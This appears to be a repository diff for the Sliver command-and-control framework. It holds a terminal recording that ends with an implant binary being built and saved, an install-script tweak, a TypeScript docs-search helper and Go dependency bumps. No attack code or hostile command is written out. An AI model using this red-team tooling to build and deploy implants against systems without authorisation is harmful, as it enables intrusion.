[67.572066, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[67.672406, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[67.772782, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[67.873183, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[67.973581, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[68.074007, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[68.17439, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[68.274791, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[68.375213, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[68.475663, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[68.576092, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[68.67649, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[68.77689, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[68.877298, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[68.977677, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[69.078048, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[69.178464, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[69.278878, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[69.37929, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[69.479712, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[69.580398, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[69.680635, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[69.781205, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[69.881588, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[69.981997, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[70.082411, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[70.182791, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[70.283226, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[70.383633, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[70.484052, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[70.585646, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[70.6861, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[70.786501, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[70.886885, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[70.988026, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[71.088754, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[71.189307, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[71.289785, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[71.390319, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[71.490765, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[71.591187, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[71.691638, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[71.792094, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[71.892535, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[71.992966, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[72.093408, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[72.193777, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[72.294164, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[72.394695, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[72.495136, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[72.595574, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[72.69601, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[72.796464, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[72.896877, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[72.997174, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[73.097672, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[73.198063, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[73.298468, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[73.39889, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[73.499343, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[73.599774, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[73.7002, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[73.800607, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[73.901027, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[74.001645, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[74.102027, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[74.202413, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[74.302779, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[74.40323, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[74.503582, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[74.604029, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[74.704466, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[74.804863, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[74.905147, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[75.00553, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[75.106244, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[75.206674, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[75.307059, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[75.407502, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[75.507792, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[75.608195, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[75.708634, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[75.809089, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[75.909504, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[76.009917, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[76.110303, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[76.21069, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[76.31108, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[76.411364, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[76.511775, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[76.612203, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[76.712609, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[76.812969, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[76.913387, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[77.014031, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[77.114428, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[77.21484, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[77.315352, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[77.415754, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[77.516177, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[77.617047, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[77.717476, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[77.817868, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[77.91827, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[78.018659, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[78.119074, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[78.219374, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[78.319747, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[78.420109, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[78.520511, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[78.620928, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[78.721328, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[78.821732, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[78.922079, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[79.022451, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[79.122864, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[79.223257, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[79.323648, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[79.424062, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[79.524561, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[79.624847, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[79.725183, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[79.825596, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[79.925954, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[80.026329, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[80.126713, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[80.227116, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[80.327518, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[80.427925, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[80.528328, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[80.628736, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[80.729183, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[80.829605, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[80.929934, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[81.030613, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[81.131023, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[81.231438, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[81.331889, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[81.432257, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[81.532654, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[81.633064, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[81.733472, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[81.833862, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[81.934255, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[82.034553, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[82.134968, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[82.235346, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[82.335759, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[82.436139, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[82.53654, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[82.636935, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[82.737336, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[82.837748, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[82.938161, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[83.038546, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[83.13896, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[83.239353, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[83.339739, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[83.440079, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[83.54049, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[83.640888, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[83.741261, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[83.841697, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[83.942096, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[84.042504, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[84.14291, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[84.243294, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[84.343901, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[84.444263, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[84.544642, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[84.64505, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[84.745433, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[84.845815, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[84.946247, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[85.046639, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[85.147039, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[85.247435, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[85.347883, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[85.448251, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[85.548654, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[85.649046, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[85.749462, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[85.849853, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[85.950254, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[86.050666, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[86.15108, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[86.251468, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[86.351903, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[86.452325, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[86.55273, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[86.653159, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[86.753583, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[86.853992, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[86.954401, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[87.054817, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[87.15522, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[87.255618, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[87.356042, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[87.456465, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[87.556878, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[87.657163, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[87.757583, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[87.857998, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[87.958412, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[88.058827, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[88.159249, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[88.25968, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[88.360075, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[88.460515, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[88.560923, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[88.661328, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[88.761739, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[88.862144, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[88.962567, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[89.062994, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[89.163422, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[89.263874, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[89.364274, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[89.464691, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[89.565083, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[89.665512, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[89.765902, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[89.866299, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[89.966717, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[90.067109, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[90.167535, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[90.267978, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[90.36839, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[90.468788, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[90.569179, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[90.669594, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[90.769978, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[90.87036, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[90.970752, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[91.071155, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[91.171573, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[91.271982, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[91.372391, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[91.472816, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[91.573206, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[91.67361, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[91.774046, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[91.874466, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[91.974861, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[92.075252, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[92.175644, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[92.276061, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[92.376535, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[92.476932, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[92.577342, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[92.677712, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[92.778109, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[92.878516, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[92.97892, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[93.079343, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[93.179764, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[93.280186, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[93.380592, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[93.480997, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[93.581411, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[93.681811, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[93.782218, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[93.882638, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[93.983044, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[94.083439, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[94.183863, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[94.284275, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[94.384703, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[94.485188, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[94.585644, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[94.686046, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[94.786429, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[94.886842, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[94.987291, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[95.087728, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[95.188065, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[95.288423, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[95.388823, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[95.489225, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[95.589663, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[95.690088, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[95.790472, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[95.890891, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[95.991311, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[96.091792, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[96.192298, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[96.292733, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[96.39317, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[96.493548, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[96.594032, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[96.69446, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[96.794901, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[96.89533, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[96.995767, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[97.072858, "o", "\r\u001b[2K"]
|
||||
[97.073391, "o", "\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mBuild completed in 1m21s\r\n"]
|
||||
[97.105542, "o", "\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mImplant saved to /home/kali/beacon.exe\r\n\r\n"]
|
||||
[97.105801, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0m \b"]
|
||||
[102.528753, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0me"]
|
||||
[102.796622, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mex"]
|
||||
[102.829259, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mexi"]
|
||||
[102.942614, "o", "\u001b[J\u001b[2K\r"]
|
||||
[102.942731, "o", "\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mexit"]
|
||||
[104.18718, "o", "\u001b[?2004l\r\r\n"]
|
||||
Binary file not shown.
|
After Width: | Height: | Size: 1.6 MiB |
Binary file not shown.
|
After Width: | Height: | Size: 68 KiB |
@@ -10,12 +10,12 @@ fi
|
||||
|
||||
# Determine OS type
|
||||
# Debian-based OS (Debian, Ubuntu, etc)
|
||||
if command -v apt &> /dev/null; then
|
||||
if command -v apt-get &> /dev/null; then
|
||||
echo "Installing dependencies using apt..."
|
||||
DEBIAN_FRONTEND=noninteractive apt install -yqq \
|
||||
DEBIAN_FRONTEND=noninteractive apt-get install -yqq \
|
||||
gpg curl build-essential git \
|
||||
mingw-w64 binutils-mingw-w64 g++-mingw-w64
|
||||
INSTALLER=(apt install -yqq)
|
||||
INSTALLER=(apt-get install -yqq)
|
||||
elif command -v yum &> /dev/null; then # Redhat-based OS (Fedora, CentOS, RHEL)
|
||||
echo "Installing dependencies using yum..."
|
||||
yum -y install gnupg curl gcc gcc-c++ make mingw64-gcc git
|
||||
|
||||
@@ -0,0 +1,8 @@
|
||||
export type Doc = {
|
||||
name: string;
|
||||
content: string;
|
||||
};
|
||||
|
||||
export type Docs = {
|
||||
docs: Doc[];
|
||||
};
|
||||
@@ -0,0 +1,40 @@
|
||||
import lunr from "lunr";
|
||||
import React from "react";
|
||||
import { Doc, Docs } from "./docs";
|
||||
|
||||
|
||||
export class SearchCtx {
|
||||
|
||||
private _docs: Docs = { docs: [] };
|
||||
private _docsIndex: lunr.Index;
|
||||
|
||||
constructor() {
|
||||
this._docsIndex = lunr(function () {
|
||||
this.ref("name");
|
||||
this.field("content");
|
||||
});
|
||||
}
|
||||
|
||||
public searchDocs = (query: string): Doc[] => {
|
||||
const results = this._docsIndex.search(query);
|
||||
const docs = results.map((result) => {
|
||||
return this._docs.docs.find((doc) => doc.name === result.ref);
|
||||
});
|
||||
return docs.filter((doc) => doc !== undefined) as Doc[];
|
||||
}
|
||||
|
||||
public addDocs = (docs: Docs) => {
|
||||
this._docs = docs;
|
||||
this._docsIndex = lunr(function () {
|
||||
this.ref("name");
|
||||
this.field("content");
|
||||
docs.docs.forEach((doc) => {
|
||||
this.add(doc);
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
export const SearchContext = React.createContext<SearchCtx>(new SearchCtx());
|
||||
export const useSearchContext = () => React.useContext(SearchContext);
|
||||
@@ -45,11 +45,11 @@ require (
|
||||
github.com/things-go/go-socks5 v0.0.3
|
||||
github.com/xlab/treeprint v1.2.0
|
||||
github.com/yiya1989/sshkrb5 v0.0.1
|
||||
golang.org/x/crypto v0.15.0
|
||||
golang.org/x/crypto v0.17.0
|
||||
golang.org/x/exp v0.0.0-20230905200255-921286631fa9
|
||||
golang.org/x/net v0.17.0
|
||||
golang.org/x/sys v0.14.0
|
||||
golang.org/x/term v0.14.0
|
||||
golang.org/x/sys v0.15.0
|
||||
golang.org/x/term v0.15.0
|
||||
golang.org/x/text v0.14.0
|
||||
golang.zx2c4.com/wireguard v0.0.0-20231022001213-2e0774f246fb
|
||||
golang.zx2c4.com/wireguard/wgctrl v0.0.0-20220208144051-fde48d68ee68
|
||||
|
||||
@@ -448,8 +448,8 @@ golang.org/x/crypto v0.0.0-20201016220609-9e8e0b390897/go.mod h1:LzIPMQfyMNhhGPh
|
||||
golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc=
|
||||
golang.org/x/crypto v0.0.0-20211108221036-ceb1ce70b4fa/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc=
|
||||
golang.org/x/crypto v0.0.0-20220208050332-20e1d8d225ab/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4=
|
||||
golang.org/x/crypto v0.15.0 h1:frVn1TEaCEaZcn3Tmd7Y2b5KKPaZ+I32Q2OA3kYp5TA=
|
||||
golang.org/x/crypto v0.15.0/go.mod h1:4ChreQoLWfG3xLDer1WdlH5NdlQ3+mwnQq1YTKY+72g=
|
||||
